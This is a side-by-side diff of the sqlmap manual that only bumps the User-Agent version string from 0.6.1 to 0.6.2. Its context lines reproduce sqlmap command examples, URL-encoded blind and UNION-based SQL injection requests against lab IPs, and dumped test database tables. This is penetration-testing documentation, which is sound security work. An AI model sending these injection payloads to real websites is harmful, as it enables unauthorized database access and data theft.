GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20 GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2852%29%2C%20
CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%204435=4435&amp;cat=2 HTTP/1.1 CHAR%2852%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%204435=4435&amp;cat=2 HTTP/1.1
Host: 192.168.1.121:80 Host: 192.168.1.121:80
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
Connection: close Connection: close
[hh:mm:33] [TRAFFIC IN] HTTP response (OK - 200): [hh:mm:33] [TRAFFIC IN] HTTP response (OK - 200):
@ -561,7 +561,7 @@ $ python sqlmap.py -u http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&amp;cat
[hh:mm:23] [TRAFFIC OUT] HTTP request: [hh:mm:23] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1&amp;cat=2 HTTP/1.1 GET /sqlmap/mysql/get_int.php?id=1&amp;cat=2 HTTP/1.1
Host: 192.168.1.121:80 Host: 192.168.1.121:80
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
Connection: close Connection: close
[hh:mm:23] [TRAFFIC IN] HTTP response (OK - 200): [hh:mm:23] [TRAFFIC IN] HTTP response (OK - 200):
@ -586,7 +586,7 @@ Content-Type: text/html
GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2851%29%2C%20 GET /sqlmap/mysql/get_int.php?id=1%20AND%20ORD%28MID%28%28CONCAT%28CHAR%2851%29%2C%20
CHAR%2851%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%201855=1855&amp;cat=2 HTTP/1.1 CHAR%2851%29%29%29%2C%201%2C%201%29%29%20%3E%2063%20AND%201855=1855&amp;cat=2 HTTP/1.1
Host: 192.168.1.121:80 Host: 192.168.1.121:80
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
Connection: close Connection: close
[hh:mm:24] [TRAFFIC IN] HTTP response (OK - 200): [hh:mm:24] [TRAFFIC IN] HTTP response (OK - 200):
@ -701,7 +701,7 @@ Example on a <bf>MySQL 5.0.51</bf> target:
<tscreen><verb> <tscreen><verb>
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&amp;cat=2" -v 1 \ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&amp;cat=2" -v 1 \
-p user-agent --user-agent "sqlmap/0.6.1 (http://sqlmap.sourceforge.net)" -p user-agent --user-agent "sqlmap/0.6.2 (http://sqlmap.sourceforge.net)"
[hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET [hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
[hh:mm:40] [INFO] testing connection to the target url [hh:mm:40] [INFO] testing connection to the target url
@ -846,7 +846,7 @@ $ python sqlmap.py -u "http://192.168.1.125/sqlmap/get_str.asp?name=luther" -v 3
[hh:mm:39] [TRAFFIC OUT] HTTP request: [hh:mm:39] [TRAFFIC OUT] HTTP request:
GET /sqlmap/get_str.asp?name=luther HTTP/1.1 GET /sqlmap/get_str.asp?name=luther HTTP/1.1
Host: 192.168.1.125:80 Host: 192.168.1.125:80
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ
Connection: close Connection: close
@ -858,7 +858,7 @@ Connection: close
GET /sqlmap/get_str.asp?name=luther HTTP/1.1 GET /sqlmap/get_str.asp?name=luther HTTP/1.1
Host: 192.168.1.125:80 Host: 192.168.1.125:80
Cookie: ASPSESSIONIDSABTRCAS=469 Cookie: ASPSESSIONIDSABTRCAS=469
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
Connection: close Connection: close
[hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic [hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic
@ -905,7 +905,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&amp;ca
GET /sqlmap/pgsql/get_int.php?id=1&amp;cat=2 HTTP/1.1 GET /sqlmap/pgsql/get_int.php?id=1&amp;cat=2 HTTP/1.1
Host: 192.168.1.121:80 Host: 192.168.1.121:80
Referer: http://www.google.com Referer: http://www.google.com
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
Connection: close Connection: close
[...] [...]
</verb></tscreen> </verb></tscreen>
@ -921,7 +921,7 @@ By default sqlmap perform HTTP requests providing the following HTTP
<tt>User-Agent</tt> header value: <tt>User-Agent</tt> header value:
<tscreen><verb> <tscreen><verb>
sqlmap/0.6.1 (http://sqlmap.sourceforge.net) sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
</verb></tscreen> </verb></tscreen>
<p> <p>
@ -1006,7 +1006,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1&
GET /sqlmap/mysql/basic/get_int.php?id=1&amp;cat=2 HTTP/1.1 GET /sqlmap/mysql/basic/get_int.php?id=1&amp;cat=2 HTTP/1.1
Host: 192.168.1.121:80 Host: 192.168.1.121:80
Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M= Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M=
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
Connection: close Connection: close
[...] [...]
@ -1023,7 +1023,7 @@ nonce="qcL9udlSBAA=f3b77da349fcfbf1a59ba37b21e291341159598f",
uri="/sqlmap/mysql/digest/get_int.php?id=1&amp;cat=2", uri="/sqlmap/mysql/digest/get_int.php?id=1&amp;cat=2",
response="e1bf3738b4bbe04e197a12fb134e13a2", algorithm="MD5", qop=auth, nc=00000001, response="e1bf3738b4bbe04e197a12fb134e13a2", algorithm="MD5", qop=auth, nc=00000001,
cnonce="df1c0902c931b640" cnonce="df1c0902c931b640"
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
Connection: close Connection: close
[...] [...]
</verb></tscreen> </verb></tscreen>
@ -1145,7 +1145,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=
[hh:mm:50] [TRAFFIC OUT] HTTP request: [hh:mm:50] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int_refresh.php?id=1&amp;cat=2 HTTP/1.1 GET /sqlmap/mysql/get_int_refresh.php?id=1&amp;cat=2 HTTP/1.1
Host: 192.168.1.121:80 Host: 192.168.1.121:80
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
Connection: close Connection: close
[hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200): [hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200):
@ -1167,7 +1167,7 @@ Content-Type: text/html
[hh:mm:51] [TRAFFIC OUT] HTTP request: [hh:mm:51] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int_refresh.php?id=1&amp;cat=2 HTTP/1.1 GET /sqlmap/mysql/get_int_refresh.php?id=1&amp;cat=2 HTTP/1.1
Host: 192.168.1.121:80 Host: 192.168.1.121:80
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
Connection: close Connection: close
[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200): [hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
@ -1189,7 +1189,7 @@ Content-Type: text/html
[hh:mm:51] [TRAFFIC OUT] HTTP request: [hh:mm:51] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int_refresh.php?id=1&amp;cat=2 HTTP/1.1 GET /sqlmap/mysql/get_int_refresh.php?id=1&amp;cat=2 HTTP/1.1
Host: 192.168.1.121:80 Host: 192.168.1.121:80
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
Connection: close Connection: close
[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200): [hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
@ -2008,7 +2008,7 @@ Table: users
| 1 | luther | blissett | | 1 | luther | blissett |
| 2 | fluffy | bunny | | 2 | fluffy | bunny |
| 3 | wu | ming | | 3 | wu | ming |
| 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header | | 4 | sqlmap/0.6.2 (http://sqlmap.sourceforge.net) | user agent header |
| 5 | NULL | nameisnull | | 5 | NULL | nameisnull |
+----+----------------------------------------------+-------------------+ +----+----------------------------------------------+-------------------+
</verb></tscreen> </verb></tscreen>
@ -2060,7 +2060,7 @@ Table: users
| 1 | luther | blissett | | 1 | luther | blissett |
| 2 | fluffy | bunny | | 2 | fluffy | bunny |
| 3 | wu | ming | | 3 | wu | ming |
| 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header | | 4 | sqlmap/0.6.2 (http://sqlmap.sourceforge.net) | user agent header |
| 5 | | nameisnull | | 5 | | nameisnull |
+----+----------------------------------------------+-------------------+ +----+----------------------------------------------+-------------------+
@ -2074,7 +2074,7 @@ $ cat /software/sqlmap/output/192.168.1.121/dump/public/users.csv
"1","luther","blissett" "1","luther","blissett"
"2","fluffy","bunny" "2","fluffy","bunny"
"3","wu","ming" "3","wu","ming"
"4","sqlmap/0.6.1 (http://sqlmap.sourceforge.net)","user agent header" "4","sqlmap/0.6.2 (http://sqlmap.sourceforge.net)","user agent header"
"5","","nameisnull" "5","","nameisnull"
</verb></tscreen> </verb></tscreen>
@ -2102,7 +2102,7 @@ Table: users
+----+----------------------------------------------+-------------------+ +----+----------------------------------------------+-------------------+
| 2 | fluffy | bunny | | 2 | fluffy | bunny |
| 3 | wu | ming | | 3 | wu | ming |
| 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header | | 4 | sqlmap/0.6.2 (http://sqlmap.sourceforge.net) | user agent header |
+----+----------------------------------------------+-------------------+ +----+----------------------------------------------+-------------------+
</verb></tscreen> </verb></tscreen>
@ -2134,7 +2134,7 @@ Table: users
| 1 | luther | blissett | | 1 | luther | blissett |
| 2 | fluffy | bunny | | 2 | fluffy | bunny |
| 3 | wu | ming | | 3 | wu | ming |
| 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header | | 4 | sqlmap/0.6.2 (http://sqlmap.sourceforge.net) | user agent header |
| 5 | NULL | nameisnull | | 5 | NULL | nameisnull |
+----+----------------------------------------------+-------------------+ +----+----------------------------------------------+-------------------+
@ -2223,7 +2223,7 @@ Table: users
+----+----------------------------------------------+-------------------+ +----+----------------------------------------------+-------------------+
| id | name | surname | | id | name | surname |
+----+----------------------------------------------+-------------------+ +----+----------------------------------------------+-------------------+
| 4 | sqlmap/0.6.1 (http://sqlmap.sourceforge.net) | user agent header | | 4 | sqlmap/0.6.2 (http://sqlmap.sourceforge.net) | user agent header |
| 2 | fluffy | bunny | | 2 | fluffy | bunny |
| 1 | luther | blisset | | 1 | luther | blisset |
| 3 | wu | ming | | 3 | wu | ming |
@ -2774,7 +2774,7 @@ GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28C
%2C%20CHAR%2832%29%29%2CCHAR%28122%2C110%2C105%2C89%2C121%2C65%29%29%2C%20NULL--%20AND%2 %2C%20CHAR%2832%29%29%2CCHAR%28122%2C110%2C105%2C89%2C121%2C65%29%29%2C%20NULL--%20AND%2
06043=6043&amp;cat=2 HTTP/1.1 06043=6043&amp;cat=2 HTTP/1.1
Host: 192.168.1.121:80 Host: 192.168.1.121:80
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
Connection: close Connection: close
[hh:mm:25] [TRAFFIC IN] HTTP response (OK - 200): [hh:mm:25] [TRAFFIC IN] HTTP response (OK - 200):
@ -2913,7 +2913,7 @@ $ python sqlmap.py --update -v 4
[hh:mm:55] [TRAFFIC OUT] HTTP request: [hh:mm:55] [TRAFFIC OUT] HTTP request:
GET /doc/VERSION HTTP/1.1 GET /doc/VERSION HTTP/1.1
Host: sqlmap.sourceforge.net Host: sqlmap.sourceforge.net
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
Connection: close Connection: close
[hh:mm:55] [TRAFFIC IN] HTTP response (OK - 200): [hh:mm:55] [TRAFFIC IN] HTTP response (OK - 200):
@ -2932,7 +2932,7 @@ X-Pad: avoid browser bug
[hh:mm:56] [TRAFFIC OUT] HTTP request: [hh:mm:56] [TRAFFIC OUT] HTTP request:
GET /FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx HTTP/1.1 GET /FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx HTTP/1.1
Host: www.sqlsecurity.com Host: www.sqlsecurity.com
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net) User-agent: sqlmap/0.6.2 (http://sqlmap.sourceforge.net)
Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0; Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDI0M2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0;
language=en-US language=en-US
Connection: close Connection: close